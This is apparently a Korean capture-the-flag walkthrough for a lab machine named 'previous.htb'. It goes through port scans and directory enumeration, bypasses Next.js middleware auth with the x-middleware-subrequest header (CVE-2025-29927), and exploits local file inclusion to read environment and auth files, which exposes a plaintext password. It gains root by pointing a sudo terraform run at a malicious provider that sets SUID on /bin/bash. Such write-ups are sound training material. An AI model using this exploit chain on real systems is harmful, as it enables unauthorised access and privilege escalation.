PORT SCANNING
ζ nmap -p- -sC -sV -T4 -oN 10.129.242.162_TCP 10.129.242.162
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-27 18:15 KST
Nmap scan report for 10.129.242.162
Host is up (0.25s latency ).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux ; protocol 2.0 )
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| _ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| _http-title: Did not follow redirect to http://previous.htb/
| _http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux ; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up ) scanned in 284.61 seconds
[ . . . ]
ζ nmap -sU -sV -Pn -n --top-ports 100 -T4 -oN 10.129.242.162_UDP 10.129.242.162
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-27 18:16 KST
Warning: 10.129.242.162 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.129.242.162
Host is up (0.25s latency ).
Not shown: 91 closed udp ports (port-unreach)
PORT STATE SERVICE VERSION
68/udp open | filtered dhcpc
69/udp open | filtered tftp
111/udp open | filtered rpcbind
1645/udp open | filtered radius
1719/udp open | filtered h323gatestat
5000/udp open | filtered upnp
5632/udp open | filtered pcanywherestat
32768/udp open | filtered omad
49188/udp open | filtered unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up ) scanned in 193.49 seconds
PORT 80
80번 포트 접근 후 Wappalyzer 확인 시 Next.js 15.2.2 버전을 사용하고 있는 것을 확인했다.
해당 버전은 권한 검증을 우회할 수 있는 취약점(CVE-2025-29927)이 존재했다.
DIRECTORY ENUMERATION
위 취약점을 이용하기 위해 디렉토리 및 서브도메인 열거를 진행하였다.
ζ gobuster dir -u http://previous.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 25
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://previous.htb
[+] Method: GET
[+] Threads: 25
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/api (Status: 307 ) [Size: 35] [-- > /api/auth/signin ? callbackUrl = %2Fapi]
/docs (Status: 307 ) [Size: 36] [-- > /api/auth/signin ? callbackUrl = %2Fdocs]
/signin (Status: 200 ) [Size: 3481]
/api-doc (Status: 307 ) [Size: 39] [-- > /api/auth/signin ? callbackUrl = %2Fapi-doc]
/apis (Status: 307 ) [Size: 36] [-- > /api/auth/signin ? callbackUrl = %2Fapis]
/api_test (Status: 307 ) [Size: 40] [-- > /api/auth/signin ? callbackUrl = %2Fapi_test]
/docs2 (Status: 307 ) [Size: 37] [-- > /api/auth/signin ? callbackUrl = %2Fdocs2]
/api3 (Status: 307 ) [Size: 36] [-- > /api/auth/signin ? callbackUrl = %2Fapi3]
/api4 (Status: 307 ) [Size: 36] [-- > /api/auth/signin ? callbackUrl = %2Fapi4]
/api2 (Status: 307 ) [Size: 36] [-- > /api/auth/signin ? callbackUrl = %2Fapi2]
/docsearch (Status: 307 ) [Size: 41] [-- > /api/auth/signin ? callbackUrl = %2Fdocsearch]
/docstore (Status: 307 ) [Size: 40] [-- > /api/auth/signin ? callbackUrl = %2Fdocstore]
Progress: 29999 / 29999 (100.00%)
===============================================================
Finished
===============================================================
EXPLOIT - CVE-2025-29927
발견한 경로로 직접 접근을 시도하면 /api/auth/signin 경로로 리다이렉트 된다.
ζ curl -i http://previous.htb/docs
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 28 Dec 2025 13:16:29 GMT
Transfer-Encoding: chunked
Connection: keep-alive
location: /api/auth/signin?callbackUrl=%2Fdocs
/api/auth/signin?callbackUrl =%2Fdocs#
요청 시 헤더(x-middleware-subrequest)를 추가하여 패킷을 전달하면 권한 검증 로직을 우회하여 해당 자원에 접근할 수 있었다.
ζ curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware:middleware:middleware" http://previous.htb/docs
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 28 Dec 2025 13:18:27 GMT
Content-Type: text/html ; charset = utf-8
Content-Length: 3353
Connection: keep-alive
X-Powered-By: Next.js
ETag: "rjw2ginkod2l1"
Vary: Accept-Encoding
<! DOCTYPE htm l>< htm l>< hea d>< meta charSet="utf-8" data-next-head="" />< meta name="viewport" content="width=device-width" data-next-head="" />< title data-next-head="" > PreviousJS Docs < /titl e>< link rel="preload" href="/_next/static/css/9a1ff1f4870b5a50.css" as="style" />< link rel="stylesheet" href="/_next/static/css/9a1ff1f4870b5a50.css" data-n-g="" />< noscript data-n-css="" >< /noscrip t>< script defer="" nomodule="" src="/_next/static/chunks/polyfills-42372ed130431b0a.js" >< /scrip t>< script src="/_next/static/chunks/webpack-cb370083d4f9953f.js" defer="" >< /scrip t>< script src="/_next/static/chunks/framework-ee17a4c43a44d3e2.js" defer="" >< /scrip t>< script src="/_next/static/chunks/main-0221d9991a31a63c.js" defer="" >< /scrip t>< script src="/_next/static/chunks/pages/_app-95f33af851b6322a.js" defer="" >< /scrip t>< script src="/_next/static/chunks/8-fd0c493a642e766e.js" defer="" >< /scrip t>< script src="/_next/static/chunks/0-c54fcec2d27b858d.js" defer="" >< /scrip t>< script src="/_next/static/chunks/pages/docs-5f6acb8b3a59fb7f.js" defer="" >< /scrip t>< script src="/_next/static/7-qBEQBKVgCxQr3ZJ-vvY/_buildManifest.js" defer="" >< /scrip t>< script src="/_next/static/7-qBEQBKVgCxQr3ZJ-vvY/_ssgManifest.js" defer="" >< /scrip t>< /hea d>< bod y>< div id="__next" >< div class="flex min-h-screen bg-white" >< div class="sticky top-0 h-screen w-64 border-r bg-gray-50 p-6" >< h2 class="mb-6 text-lg font-semibold" > PreviousJS < /h 2>< na v>< ul class="space-y-2" >< l i>< a class="block rounded px-3 py-2 text-sm transition-colors text-gray-600 hover:bg-gray-100" href="/docs/getting-started" > Getting Started < / a>< /l i>< l i>< a class="block rounded px-3 py-2 text-sm transition-colors text-gray-600 hover:bg-gray-100" href="/docs/examples" > Examples < / a>< /l i>< /u l>< /na v>< /di v>< main class="flex-1 p-8 lg:px-12 lg:py-10" >< article class="prose prose-slate max-w-none" >< h 1> Documentation Overview < /h 1>< p class="lead" > Welcome to the documentation for PreviousJS. Get started with our comprehensive guides and API references. < / p>< div class="not-prose mt-8 grid gap-4 sm:grid-cols-2" >< div class="rounded-lg border p-6" >< h3 class="mb-2 text-lg font-semibold" > Getting Started < /h 3>< p class="mb-4 text-gray-600" > New to PreviousJS? Begin here with basic setup and fundamental concepts. < / p>< a href="/docs/getting-started" class="text-blue-600 hover:underline" > Start learning → < / a>< /di v>< div class="rounded-lg border p-6" >< h3 class="mb-2 text-lg font-semibold" > Examples < /h 3>< p class="mb-4 text-gray-600" > Detailed examples. < / p>< a href="/docs/api-reference" class="text-blue-600 hover:underline" > Explore examples → < / a>< /di v>< /di v>< div class="mt-8 border-t pt-8" >< h 2> Latest Updates < /h 2>< ul class="text-sm text-gray-600" >< li class="mt-2" > v1.2.0 - Feat: middleware is now opt-out! < /l i>< li class="mt-2" > v1.1.4 - Improved TypeScript support < /l i>< li class="mt-2" > v1.1.0 - Performance optimizations < /l i>< /u l>< /di v>< /articl e>< /mai n>< div class="fixed top-0 right-0 p-4 bg-gray-100 border-t border-gray-200 shadow-md" >< p class="text-sm text-gray-600" > Logged in as < b > ??? < / b>< / p>< a href="#" class="cursor-pointer text-sm text-blue-600 hover:text-blue-800 underline" > Sign out < / a>< /di v>< /di v>< /di v>< script id="__NEXT_DATA__" type="application/json" > {"props":{"pageProps":{}},"page":"/docs","query":{},"buildId":"7-qBEQBKVgCxQr3ZJ-vvY","nextExport": true ,"autoExport": true ,"isFallback": false ,"scriptLoader":[]} < /scrip t>< /bod y>< /htm l > #
편의를 위해 버프스위트 프록시 도구를 사용하여 웹 서비스 접근 시 헤더가 자동으로 추가되도록 설정한다.
이후 /docs/examples 경로에서 /api/download 엔드포인트 URL을 획득했다.
/api/download API를 통해 서버에 임의의 파일 다운로드를 요청할 수 있었으며,
CVE 취약점에 의해 권한 검증을 우회하여 LFI 취약점 트리거가 가능했다.
INITIAL ACCESS
LFI 취약점을 이용하여 사용자의 개인키 탈취 후 원격 접속을 시도한다.
(1) 대상 호스트에 존재하는 계정 정보 수집
(2) 개인키 파일(/home/{유저명}/.ssh/{개인키 파일}) 수집을 시도했으나 실패했다.
추가 정보 수집을 위해 현재 웹 서비스를 운영중인 계정의 환경변수를 확인한다.
리눅스 환경에서 현재 계정의 환경변수는 /proc/self/environ 경로에서 확인 가능하다.
이를 통해, 현재 웹 서비스는 “nextjs” 사용자에 의해 실행되고 있음을 확인했다.
노드 버전 정보, 포트 정보, 작업 디렉토리(PWD) 및 환경 정보 등을 획득
Next.Js 에서 NextAuth 를 이용한 인증은 아래 경로에서 설정된다고 한다.
이 설정은 라우트 경로 설정 파일(/app/.next/routes-manifest.json)에서도 확인이 가능하다.
NextJs 는 빌드 시에 .next 폴더가 생성되는데 이 때 아래와 같이 파일들이 생성된다고 한다.
Pages Router API 라우트 → .next/server/pages/api/... 아래로 컴파일
(App Router route handler는) .next/server/app/.../route.js 쪽에 생김
이 정보를 토대로 /api/auth/[...nextauth] 경로에 접근 후 계정정보를 획득했다. (jeremy / MyNameIsJeremyAndILovePancakes)
INITIAL ACCESS
획득한 계정정보로 jeremy 계정으로 접속에 성공했다.
(jeremy / MyNameIsJeremyAndILovePancakes)
유저 플래그(/home/jeremy/user.txt) 확인
POST EXPLOIT
INTERNAL RECONNAISSANCE
후속 공격 → 권한 상승을 위해 대상 호스트 내부 정보를 수집한다.
이 과정에서 sudo 실행 가능한 /usr/bin/terraform ... 바이너리를 확인했다.
jeremy 사용자가 /opt/examples 디렉터리에서 terraform apply를 root 권한으로 실행 가능
jeremy@previous:/$ sudo -l
Matching Defaults entries for jeremy on previous:
! env_reset, env_delete+=PATH, mail_badpass,
secure_path = /usr/local/sbin \: /usr/local/bin \: /usr/sbin \: /usr/bin \: /sbin \: /bin \: /snap/bin, use_pty
User jeremy may run the following commands on previous:
( root ) /usr/bin/terraform -chdir\=/opt/examples apply
PRIVILEGE ESCALATION
(Provider Name) previous.htb
jeremy@previous:~/docker/previous$ cat /opt/examples/ * .tf
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains ( var.source_path, "/root/examples/" ) && ! strcontains(var.source_path, ".." )
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}
/bin/bash SUID를 재설정 페이로드가 담긴 악성 파일 생성
파일 생성 후 실행 권한을 부여해줘야 정상적으로 동작한다.
jeremy@previous:~/docker/previous$ cat > /tmp/terraform-provider-examples << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
jeremy@previous:~/docker/previous$ cat > /tmp/dollarboysushil.rc << 'EOF'
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp"
}
direct {}
}
EOF
jeremy@previous:~/docker/previous$ export TF_CLI_CONFIG_FILE=/tmp/dollarboysushil.rc
jeremy@previous:/opt/examples$ sudo /usr/bin/terraform -chdir=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /tmp
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become
│ incompatible with published releases.
╵
╷
│ Error: Failed to load plugin schemas
│
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider
│ previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain schema: Unrecognized
│ remote plugin message:
│ Failed to read any lines from plugin's stdout
│ This usually means
│ the plugin was not compiled for this architecture,
│ the plugin is missing dynamic-link libraries necessary to run,
│ the plugin is not executable by this process due to file permissions, or
│ the plugin failed to negotiate the initial go-plugin protocol handshake
│
│ Additional notes about plugin:
│ Path: /tmp/terraform-provider-examples
│ Mode: -rwxrwxr-x
│ Owner: 1000 [jeremy] (current: 0 [root])
│ Group: 1000 [jeremy] (current: 0 [root])
│ ..
╵
/usr/bin/bash 바이너리 권한 확인 시 SUID 비트가 정상적으로 설정되었다.
5. Get a Root Shell
루트 쉘 실행 후 루트 플래그(/root/root.txt) 확인
REFERENCE
https://github.com/kOaDT/poc-cve-2025-29927/tree/main#
https://velog.io/@jay/CVE-2025-29927
https://github.com/dollarboysushil/Privilege-Escalation-PoC-Terraform-sudo-Exploit/blob/main/README.md